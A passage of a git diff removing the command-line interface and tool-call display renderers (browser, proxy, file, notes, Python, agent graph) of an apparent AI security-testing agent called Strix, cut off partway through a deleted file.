llm_stats["total"] - - if total_stats["requests"] > 0: - llm_stats_text.append("📥 Input Tokens: ", style="bold cyan") - llm_stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white") - - if total_stats["cached_tokens"] > 0: - llm_stats_text.append(" • ", style="dim white") - llm_stats_text.append("⚡ Cached: ", style="bold green") - llm_stats_text.append( - format_token_count(total_stats["cached_tokens"]), style="bold green" - ) - - llm_stats_text.append(" • ", style="dim white") - llm_stats_text.append("📤 Output Tokens: ", style="bold cyan") - llm_stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white") - - if total_stats["cost"] > 0: - llm_stats_text.append(" • ", style="dim white") - llm_stats_text.append("💰 Total Cost: $", style="bold cyan") - llm_stats_text.append(f"{total_stats['cost']:.4f}", style="bold yellow") - - return llm_stats_text - - -def display_completion_message(args: argparse.Namespace, results_path: Path) -> None: - console = Console() - tracer = get_global_tracer() - - target_value = next(iter(args.target_dict.values())) if args.target_dict else args.target - - completion_text = Text() - completion_text.append("🦉 ", style="bold white") - completion_text.append("AGENT FINISHED", style="bold green") - completion_text.append(" • ", style="dim white") - completion_text.append("Security assessment completed", style="white") - - stats_text = _build_stats_text(tracer) - - llm_stats_text = _build_llm_stats_text(tracer) - - target_text = Text() - target_text.append("🎯 Target: ", style="bold cyan") - target_text.append(str(target_value), style="bold white") - - results_text = Text() - results_text.append("📊 Results Saved To: ", style="bold cyan") - results_text.append(str(results_path), style="bold yellow") - - if stats_text.plain: - if llm_stats_text.plain: - panel_content = Text.assemble( - completion_text, - "\n\n", - target_text, - "\n", - stats_text, - "\n", - llm_stats_text, - "\n", - results_text, - ) - else: - panel_content = Text.assemble( - completion_text, "\n\n", target_text, "\n", stats_text, "\n", results_text - ) - elif llm_stats_text.plain: - panel_content = Text.assemble( - completion_text, "\n\n", target_text, "\n", llm_stats_text, "\n", results_text - ) - else: - panel_content = Text.assemble(completion_text, "\n\n", target_text, "\n", results_text) - - panel = Panel( - panel_content, - title="[bold green]🛡️ STRIX CYBERSECURITY AGENT", - title_align="center", - border_style="green", - padding=(1, 2), - ) - - console.print("\n") - console.print(panel) - console.print() - - -def _check_docker_connection() -> Any: - try: - return docker.from_env() - except DockerException: - console = Console() - error_text = Text() - error_text.append("❌ ", style="bold red") - error_text.append("DOCKER NOT AVAILABLE", style="bold red") - error_text.append("\n\n", style="white") - error_text.append("Cannot connect to Docker daemon.\n", style="white") - error_text.append("Please ensure Docker is installed and running.\n\n", style="white") - error_text.append("Try running: ", style="dim white") - error_text.append("sudo systemctl start docker", style="dim cyan") - - panel = Panel( - error_text, - title="[bold red]🛡️ STRIX STARTUP ERROR", - title_align="center", - border_style="red", - padding=(1, 2), - ) - console.print("\n", panel, "\n") - sys.exit(1) - - -def _image_exists(client: Any) -> bool: - try: - client.images.get(STRIX_IMAGE) - except docker.errors.ImageNotFound: - return False - else: - return True - - -def _update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None: - if "Pull complete" in layer_status or "Already exists" in layer_status: - layers_info[layer_id] = "✓" - elif "Downloading" in layer_status: - layers_info[layer_id] = "↓" - elif "Extracting" in layer_status: - layers_info[layer_id] = "📦" - elif "Waiting" in layer_status: - layers_info[layer_id] = "⏳" - else: - layers_info[layer_id] = "•" - - -def _process_pull_line( - line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str -) -> str: - if "id" in line and "status" in line: - layer_id = line["id"] - _update_layer_status(layers_info, layer_id, line["status"]) - - completed = sum(1 for v in layers_info.values() if v == "✓") - total = len(layers_info) - - if total > 0: - update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete" - if update_msg != last_update: - status.update(update_msg) - return update_msg - - elif "status" in line and "id" not in line: - global_status = line["status"] - if "Pulling from" in global_status: - status.update("[bold cyan]Fetching image manifest...") - elif "Digest:" in global_status: - status.update("[bold cyan]Verifying image...") - elif "Status:" in global_status: - status.update("[bold cyan]Finalizing...") - - return last_update - - -def pull_docker_image() -> None: - console = Console() - client = _check_docker_connection() - - if _image_exists(client): - return - - console.print() - console.print(f"[bold cyan]🐳 Pulling Docker image:[/bold cyan] {STRIX_IMAGE}") - console.print( - "[dim yellow]This only happens on first run and may take a few minutes...[/dim yellow]" - ) - console.print() - - with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status: - try: - layers_info: dict[str, str] = {} - last_update = "" - - for line in client.api.pull(STRIX_IMAGE, stream=True, decode=True): - last_update = _process_pull_line(line, layers_info, status, last_update) - - except DockerException as e: - console.print() - error_text = Text() - error_text.append("❌ ", style="bold red") - error_text.append("FAILED TO PULL IMAGE", style="bold red") - error_text.append("\n\n", style="white") - error_text.append(f"Could not download: {STRIX_IMAGE}\n", style="white") - error_text.append(str(e), style="dim red") - - panel = Panel( - error_text, - title="[bold red]🛡️ DOCKER PULL ERROR", - title_align="center", - border_style="red", - padding=(1, 2), - ) - console.print(panel, "\n") - sys.exit(1) - - success_text = Text() - success_text.append("✅ ", style="bold green") - success_text.append("Successfully pulled Docker image", style="green") - console.print(success_text) - console.print() - - -def main() -> None: - if sys.platform == "win32": - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - - check_docker_installed() - pull_docker_image() - - validate_environment() - asyncio.run(warm_up_llm()) - - args = parse_arguments() - if not args.run_name: - args.run_name = generate_run_name() - - asyncio.run(run_strix_cli(args)) - - results_path = Path("agent_runs") / args.run_name - display_completion_message(args, results_path) - - -if __name__ == "__main__": - main() diff --git a/strix/cli/tool_components/__init__.py b/strix/cli/tool_components/__init__.py deleted file mode 100644 index 5e12d7183..000000000 --- a/strix/cli/tool_components/__init__.py +++ /dev/null @@ -1,39 +0,0 @@ -from . import ( - agents_graph_renderer, - browser_renderer, - file_edit_renderer, - finish_renderer, - notes_renderer, - proxy_renderer, - python_renderer, - reporting_renderer, - scan_info_renderer, - terminal_renderer, - thinking_renderer, - user_message_renderer, - web_search_renderer, -) -from .base_renderer import BaseToolRenderer -from .registry import ToolTUIRegistry, get_tool_renderer, register_tool_renderer, render_tool_widget - - -__all__ = [ - "BaseToolRenderer", - "ToolTUIRegistry", - "agents_graph_renderer", - "browser_renderer", - "file_edit_renderer", - "finish_renderer", - "get_tool_renderer", - "notes_renderer", - "proxy_renderer", - "python_renderer", - "register_tool_renderer", - "render_tool_widget", - "reporting_renderer", - "scan_info_renderer", - "terminal_renderer", - "thinking_renderer", - "user_message_renderer", - "web_search_renderer", -] diff --git a/strix/cli/tool_components/agents_graph_renderer.py b/strix/cli/tool_components/agents_graph_renderer.py deleted file mode 100644 index b5ae5ad4c..000000000 --- a/strix/cli/tool_components/agents_graph_renderer.py +++ /dev/null @@ -1,123 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class ViewAgentGraphRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "view_agent_graph" - css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 - content_text = "🕸️ [bold #fbbf24]Viewing agents graph[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class CreateAgentRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "create_agent" - css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - task = args.get("task", "") - name = args.get("name", "Agent") - - header = f"🤖 [bold #fbbf24]Creating {name}[/]" - - if task: - task_display = task[:400] + "..." if len(task) > 400 else task - content_text = f"{header}\n [dim]{cls.escape_markup(task_display)}[/]" - else: - content_text = f"{header}\n [dim]Spawning agent...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class SendMessageToAgentRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "send_message_to_agent" - css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - message = args.get("message", "") - - header = "💬 [bold #fbbf24]Sending message[/]" - - if message: - message_display = message[:400] + "..." if len(message) > 400 else message - content_text = f"{header}\n [dim]{cls.escape_markup(message_display)}[/]" - else: - content_text = f"{header}\n [dim]Sending...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class AgentFinishRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "agent_finish" - css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - result_summary = args.get("result_summary", "") - findings = args.get("findings", []) - success = args.get("success", True) - - header = ( - "🏁 [bold #fbbf24]Agent completed[/]" if success else "🏁 [bold #fbbf24]Agent failed[/]" - ) - - if result_summary: - content_parts = [f"{header}\n [bold]{cls.escape_markup(result_summary)}[/]"] - - if findings and isinstance(findings, list): - finding_lines = [f"• {finding}" for finding in findings] - content_parts.append( - f" [dim]{chr(10).join([cls.escape_markup(line) for line in finding_lines])}[/]" - ) - - content_text = "\n".join(content_parts) - else: - content_text = f"{header}\n [dim]Completing task...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class WaitForMessageRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "wait_for_message" - css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - reason = args.get("reason", "Waiting for messages from other agents or user input") - - header = "⏸️ [bold #fbbf24]Waiting for messages[/]" - - if reason: - reason_display = reason[:400] + "..." if len(reason) > 400 else reason - content_text = f"{header}\n [dim]{cls.escape_markup(reason_display)}[/]" - else: - content_text = f"{header}\n [dim]Agent paused until message received...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/base_renderer.py b/strix/cli/tool_components/base_renderer.py deleted file mode 100644 index c8a74253f..000000000 --- a/strix/cli/tool_components/base_renderer.py +++ /dev/null @@ -1,61 +0,0 @@ -from abc import ABC, abstractmethod -from typing import Any, ClassVar - -from textual.widgets import Static - - -class BaseToolRenderer(ABC): - tool_name: ClassVar[str] = "" - - css_classes: ClassVar[list[str]] = ["tool-call"] - - @classmethod - @abstractmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - pass - - @classmethod - def escape_markup(cls, text: str) -> str: - return text.replace("[", "\\[").replace("]", "\\]") - - @classmethod - def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str: - if not args: - return "" - - args_parts = [] - for k, v in args.items(): - str_v = str(v) - if len(str_v) > max_length: - str_v = str_v[: max_length - 3] + "..." - args_parts.append(f" [dim]{k}:[/] {cls.escape_markup(str_v)}") - return "\n".join(args_parts) - - @classmethod - def format_result(cls, result: Any, max_length: int = 1000) -> str: - if result is None: - return "" - - str_result = str(result).strip() - if not str_result: - return "" - - if len(str_result) > max_length: - str_result = str_result[: max_length - 3] + "..." - return cls.escape_markup(str_result) - - @classmethod - def get_status_icon(cls, status: str) -> str: - status_icons = { - "running": "[#f59e0b]●[/#f59e0b] In progress...", - "completed": "[#22c55e]✓[/#22c55e] Done", - "failed": "[#dc2626]✗[/#dc2626] Failed", - "error": "[#dc2626]✗[/#dc2626] Error", - } - return status_icons.get(status, "[dim]○[/dim] Unknown") - - @classmethod - def get_css_classes(cls, status: str) -> str: - base_classes = cls.css_classes.copy() - base_classes.append(f"status-{status}") - return " ".join(base_classes) diff --git a/strix/cli/tool_components/browser_renderer.py b/strix/cli/tool_components/browser_renderer.py deleted file mode 100644 index e1b6afb6c..000000000 --- a/strix/cli/tool_components/browser_renderer.py +++ /dev/null @@ -1,107 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class BrowserRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "browser_action" - css_classes: ClassVar[list[str]] = ["tool-call", "browser-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - status = tool_data.get("status", "unknown") - - action = args.get("action", "unknown") - - content = cls._build_sleek_content(action, args) - - css_classes = cls.get_css_classes(status) - return Static(content, classes=css_classes) - - @classmethod - def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: - browser_icon = "🌐" - - url = args.get("url") - text = args.get("text") - js_code = args.get("js_code") - - if action in [ - "launch", - "goto", - "new_tab", - "type", - "execute_js", - "click", - "double_click", - "hover", - ]: - if action == "launch": - display_url = cls._format_url(url) if url else None - message = ( - f"launching {display_url} on browser" if display_url else "launching browser" - ) - elif action == "goto": - display_url = cls._format_url(url) if url else None - message = f"navigating to {display_url}" if display_url else "navigating" - elif action == "new_tab": - display_url = cls._format_url(url) if url else None - message = f"opening tab {display_url}" if display_url else "opening tab" - elif action == "type": - display_text = cls._format_text(text) if text else None - message = f"typing {display_text}" if display_text else "typing" - elif action == "execute_js": - display_js = cls._format_js(js_code) if js_code else None - message = ( - f"executing javascript\n{display_js}" if display_js else "executing javascript" - ) - else: - action_words = { - "click": "clicking", - "double_click": "double clicking", - "hover": "hovering", - } - message = action_words[action] - - return f"{browser_icon} [#06b6d4]{message}[/]" - - simple_actions = { - "back": "going back in browser history", - "forward": "going forward in browser history", - "refresh": "refreshing browser tab", - "close_tab": "closing browser tab", - "switch_tab": "switching browser tab", - "list_tabs": "listing browser tabs", - "view_source": "viewing page source", - "screenshot": "taking screenshot of browser tab", - "wait": "waiting...", - "close": "closing browser", - } - - if action in simple_actions: - return f"{browser_icon} [#06b6d4]{simple_actions[action]}[/]" - - return f"{browser_icon} [#06b6d4]{action}[/]" - - @classmethod - def _format_url(cls, url: str) -> str: - if len(url) > 300: - url = url[:297] + "..." - return cls.escape_markup(url) - - @classmethod - def _format_text(cls, text: str) -> str: - if len(text) > 200: - text = text[:197] + "..." - return cls.escape_markup(text) - - @classmethod - def _format_js(cls, js_code: str) -> str: - if len(js_code) > 200: - js_code = js_code[:197] + "..." - return f"[white]{cls.escape_markup(js_code)}[/white]" diff --git a/strix/cli/tool_components/file_edit_renderer.py b/strix/cli/tool_components/file_edit_renderer.py deleted file mode 100644 index bd6d5d1f5..000000000 --- a/strix/cli/tool_components/file_edit_renderer.py +++ /dev/null @@ -1,95 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class StrReplaceEditorRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "str_replace_editor" - css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - result = tool_data.get("result") - - command = args.get("command", "") - path = args.get("path", "") - - if command == "view": - header = "📖 [bold #10b981]Reading file[/]" - elif command == "str_replace": - header = "✏️ [bold #10b981]Editing file[/]" - elif command == "create": - header = "📝 [bold #10b981]Creating file[/]" - else: - header = "📄 [bold #10b981]File operation[/]" - - if (result and isinstance(result, dict) and "content" in result) or path: - path_display = path[-60:] if len(path) > 60 else path - content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" - else: - content_text = f"{header} [dim]Processing...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ListFilesRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "list_files" - css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - path = args.get("path", "") - - header = "📂 [bold #10b981]Listing files[/]" - - if path: - path_display = path[-60:] if len(path) > 60 else path - content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" - else: - content_text = f"{header} [dim]Current directory[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class SearchFilesRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "search_files" - css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - path = args.get("path", "") - regex = args.get("regex", "") - - header = "🔍 [bold purple]Searching files[/]" - - if path and regex: - path_display = path[-30:] if len(path) > 30 else path - regex_display = regex[:30] if len(regex) > 30 else regex - content_text = ( - f"{header} [dim]{cls.escape_markup(path_display)} for " - f"'{cls.escape_markup(regex_display)}'[/]" - ) - elif path: - path_display = path[-60:] if len(path) > 60 else path - content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]" - elif regex: - regex_display = regex[:60] if len(regex) > 60 else regex - content_text = f"{header} [dim]'{cls.escape_markup(regex_display)}'[/]" - else: - content_text = f"{header} [dim]Searching...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/finish_renderer.py b/strix/cli/tool_components/finish_renderer.py deleted file mode 100644 index 12cf59604..000000000 --- a/strix/cli/tool_components/finish_renderer.py +++ /dev/null @@ -1,31 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class FinishScanRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "finish_scan" - css_classes: ClassVar[list[str]] = ["tool-call", "finish-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - content = args.get("content", "") - success = args.get("success", True) - - header = ( - "🏁 [bold #dc2626]Finishing Scan[/]" if success else "🏁 [bold #dc2626]Scan Failed[/]" - ) - - if content: - content_text = f"{header}\n [bold]{cls.escape_markup(content)}[/]" - else: - content_text = f"{header}\n [dim]Generating final report...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/notes_renderer.py b/strix/cli/tool_components/notes_renderer.py deleted file mode 100644 index e121738f7..000000000 --- a/strix/cli/tool_components/notes_renderer.py +++ /dev/null @@ -1,108 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class CreateNoteRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "create_note" - css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - title = args.get("title", "") - content = args.get("content", "") - - header = "📝 [bold #fbbf24]Note[/]" - - if title: - title_display = title[:100] + "..." if len(title) > 100 else title - note_parts = [f"{header}\n [bold]{cls.escape_markup(title_display)}[/]"] - - if content: - content_display = content[:200] + "..." if len(content) > 200 else content - note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]") - - content_text = "\n".join(note_parts) - else: - content_text = f"{header}\n [dim]Creating note...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class DeleteNoteRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "delete_note" - css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 - header = "🗑️ [bold #fbbf24]Delete Note[/]" - content_text = f"{header}\n [dim]Deleting...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class UpdateNoteRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "update_note" - css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - title = args.get("title", "") - content = args.get("content", "") - - header = "✏️ [bold #fbbf24]Update Note[/]" - - if title or content: - note_parts = [header] - - if title: - title_display = title[:100] + "..." if len(title) > 100 else title - note_parts.append(f" [bold]{cls.escape_markup(title_display)}[/]") - - if content: - content_display = content[:200] + "..." if len(content) > 200 else content - note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]") - - content_text = "\n".join(note_parts) - else: - content_text = f"{header}\n [dim]Updating...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ListNotesRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "list_notes" - css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - result = tool_data.get("result") - - header = "📋 [bold #fbbf24]Listing notes[/]" - - if result and isinstance(result, dict) and "notes" in result: - notes = result["notes"] - if isinstance(notes, list): - count = len(notes) - content_text = f"{header}\n [dim]{count} notes found[/]" - else: - content_text = f"{header}\n [dim]No notes found[/]" - else: - content_text = f"{header}\n [dim]Listing notes...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/proxy_renderer.py b/strix/cli/tool_components/proxy_renderer.py deleted file mode 100644 index 469e56b46..000000000 --- a/strix/cli/tool_components/proxy_renderer.py +++ /dev/null @@ -1,255 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class ListRequestsRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "list_requests" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - result = tool_data.get("result") - - httpql_filter = args.get("httpql_filter") - - header = "📋 [bold #06b6d4]Listing requests[/]" - - if result and isinstance(result, dict) and "requests" in result: - requests = result["requests"] - if isinstance(requests, list) and requests: - request_lines = [] - for req in requests[:3]: - if isinstance(req, dict): - method = req.get("method", "?") - path = req.get("path", "?") - response = req.get("response") or {} - status = response.get("statusCode", "?") - line = f"{method} {path} → {status}" - request_lines.append(line) - - if len(requests) > 3: - request_lines.append(f"... +{len(requests) - 3} more") - - escaped_lines = [cls.escape_markup(line) for line in request_lines] - content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" - else: - content_text = f"{header}\n [dim]No requests found[/]" - elif httpql_filter: - filter_display = ( - httpql_filter[:300] + "..." if len(httpql_filter) > 300 else httpql_filter - ) - content_text = f"{header}\n [dim]{cls.escape_markup(filter_display)}[/]" - else: - content_text = f"{header}\n [dim]All requests[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ViewRequestRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "view_request" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - result = tool_data.get("result") - - part = args.get("part", "request") - - header = f"👀 [bold #06b6d4]Viewing {part}[/]" - - if result and isinstance(result, dict): - if "content" in result: - content = result["content"] - content_preview = content[:500] + "..." if len(content) > 500 else content - content_text = f"{header}\n [dim]{cls.escape_markup(content_preview)}[/]" - elif "matches" in result: - matches = result["matches"] - if isinstance(matches, list) and matches: - match_lines = [ - match["match"] - for match in matches[:3] - if isinstance(match, dict) and "match" in match - ] - if len(matches) > 3: - match_lines.append(f"... +{len(matches) - 3} more matches") - escaped_lines = [cls.escape_markup(line) for line in match_lines] - content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" - else: - content_text = f"{header}\n [dim]No matches found[/]" - else: - content_text = f"{header}\n [dim]Viewing content...[/]" - else: - content_text = f"{header}\n [dim]Loading...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class SendRequestRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "send_request" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - result = tool_data.get("result") - - method = args.get("method", "GET") - url = args.get("url", "") - - header = f"📤 [bold #06b6d4]Sending {method}[/]" - - if result and isinstance(result, dict): - status_code = result.get("status_code") - response_body = result.get("body", "") - - if status_code: - response_preview = f"Status: {status_code}" - if response_body: - body_preview = ( - response_body[:300] + "..." if len(response_body) > 300 else response_body - ) - response_preview += f"\n{body_preview}" - content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]" - else: - content_text = f"{header}\n [dim]Response received[/]" - elif url: - url_display = url[:400] + "..." if len(url) > 400 else url - content_text = f"{header}\n [dim]{cls.escape_markup(url_display)}[/]" - else: - content_text = f"{header}\n [dim]Sending...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class RepeatRequestRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "repeat_request" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - result = tool_data.get("result") - - modifications = args.get("modifications", {}) - - header = "🔄 [bold #06b6d4]Repeating request[/]" - - if result and isinstance(result, dict): - status_code = result.get("status_code") - response_body = result.get("body", "") - - if status_code: - response_preview = f"Status: {status_code}" - if response_body: - body_preview = ( - response_body[:300] + "..." if len(response_body) > 300 else response_body - ) - response_preview += f"\n{body_preview}" - content_text = f"{header}\n [dim]{cls.escape_markup(response_preview)}[/]" - else: - content_text = f"{header}\n [dim]Response received[/]" - elif modifications: - mod_text = str(modifications) - mod_display = mod_text[:400] + "..." if len(mod_text) > 400 else mod_text - content_text = f"{header}\n [dim]{cls.escape_markup(mod_display)}[/]" - else: - content_text = f"{header}\n [dim]No modifications[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ScopeRulesRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "scope_rules" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003 - header = "⚙️ [bold #06b6d4]Updating proxy scope[/]" - content_text = f"{header}\n [dim]Configuring...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ListSitemapRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "list_sitemap" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - result = tool_data.get("result") - - header = "🗺️ [bold #06b6d4]Listing sitemap[/]" - - if result and isinstance(result, dict) and "entries" in result: - entries = result["entries"] - if isinstance(entries, list) and entries: - entry_lines = [] - for entry in entries[:4]: - if isinstance(entry, dict): - label = entry.get("label", "?") - kind = entry.get("kind", "?") - line = f"{kind}: {label}" - entry_lines.append(line) - - if len(entries) > 4: - entry_lines.append(f"... +{len(entries) - 4} more") - - escaped_lines = [cls.escape_markup(line) for line in entry_lines] - content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" - else: - content_text = f"{header}\n [dim]No entries found[/]" - else: - content_text = f"{header}\n [dim]Loading...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) - - -@register_tool_renderer -class ViewSitemapEntryRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "view_sitemap_entry" - css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - result = tool_data.get("result") - - header = "📍 [bold #06b6d4]Viewing sitemap entry[/]" - - if result and isinstance(result, dict): - if "entry" in result: - entry = result["entry"] - if isinstance(entry, dict): - label = entry.get("label", "") - kind = entry.get("kind", "") - if label and kind: - entry_info = f"{kind}: {label}" - content_text = f"{header}\n [dim]{cls.escape_markup(entry_info)}[/]" - else: - content_text = f"{header}\n [dim]Entry details loaded[/]" - else: - content_text = f"{header}\n [dim]Entry details loaded[/]" - else: - content_text = f"{header}\n [dim]Loading entry...[/]" - else: - content_text = f"{header}\n [dim]Loading...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/python_renderer.py b/strix/cli/tool_components/python_renderer.py deleted file mode 100644 index 5ec6a6cd6..000000000 --- a/strix/cli/tool_components/python_renderer.py +++ /dev/null @@ -1,34 +0,0 @@ -from typing import Any, ClassVar - -from textual.widgets import Static - -from .base_renderer import BaseToolRenderer -from .registry import register_tool_renderer - - -@register_tool_renderer -class PythonRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "python_action" - css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"] - - @classmethod - def render(cls, tool_data: dict[str, Any]) -> Static: - args = tool_data.get("args", {}) - - action = args.get("action", "") - code = args.get("code", "") - - header = " [bold #3b82f6]Python[/]" - - if code and action in ["new_session", "execute"]: - code_display = code[:250] + "..." if len(code) > 250 else code - content_text = f"{header}\n [italic white]{cls.escape_markup(code_display)}[/]" - elif action == "close": - content_text = f"{header}\n [dim]Closing session...[/]" - elif action == "list_sessions": - content_text = f"{header}\n [dim]Listing sessions...[/]" - else: - content_text = f"{header}\n [dim]Running...[/]" - - css_classes = cls.get_css_classes("completed") - return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/reporting_renderer.py b/strix/cli/tool_components/reporting_renderer.py deleted file mode 100644 index 37aec8d96..000000000 --- a/strix/cli/tool_components/reporting_renderer.py +++ /dev/null @@ 